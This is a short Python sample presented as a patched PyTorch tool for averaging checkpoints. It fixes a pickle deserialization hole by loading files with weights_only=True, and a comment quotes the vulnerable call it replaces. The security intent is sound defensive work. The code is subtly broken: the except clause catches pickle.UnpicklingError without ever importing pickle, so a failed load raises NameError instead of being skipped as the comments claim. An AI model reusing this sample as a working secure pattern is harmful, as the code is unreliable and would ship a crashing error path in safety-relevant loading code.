Patched code sample

import torch
import os
import glob

def average_models_safely(model_dir: str):
    """
    Represents the fixed model averaging tool.

    This function safely loads PyTorch checkpoint files from a directory
    by using the `weights_only=True` parameter in `torch.load()`. This
    prevents the deserialization of arbitrary Python objects, mitigating
    the risk of remote code execution from malicious checkpoint files.
    """
    checkpoint_paths = glob.glob(os.path.join(model_dir, "epoch_*.pt"))

    if not checkpoint_paths:
        print(f"No model checkpoints found in '{model_dir}'.")
        return

    print(f"Found {len(checkpoint_paths)} checkpoints for averaging.")
    
    # Placeholder for the averaged model state
    averaged_state_dict = None
    
    for i, ckpt_path in enumerate(checkpoint_paths):
        print(f"Loading: {os.path.basename(ckpt_path)}")
        
        # --- THE FIX ---
        # The vulnerable version was: torch.load(ckpt_path)
        # The fix is to add `weights_only=True`, which ensures that only tensors
        # (model weights, biases, etc.) are loaded, and no arbitrary Python
        # code (via the underlying pickle module) can be executed.
        try:
            state_dict = torch.load(ckpt_path, weights_only=True)
        except (RuntimeError, pickle.UnpicklingError) as e:
            print(f"Could not load {ckpt_path} safely. It may be corrupt or malicious. Skipping. Error: {e}")
            continue
        # --- END OF FIX ---
        
        # Simple averaging logic (for demonstration purposes)
        if averaged_state_dict is None:
            averaged_state_dict = state_dict
        else:
            for key in averaged_state_dict:
                if key in state_dict:
                    # Naive averaging for demonstration
                    averaged_state_dict[key] = (averaged_state_dict[key] * i + state_dict[key]) / (i + 1)

    if averaged_state_dict:
        print("\nModel averaging complete.")
        # In a real tool, this state_dict would be saved to a new file.
        # torch.save(averaged_state_dict, "averaged_model.pt")
    else:
        print("\nNo valid models were averaged.")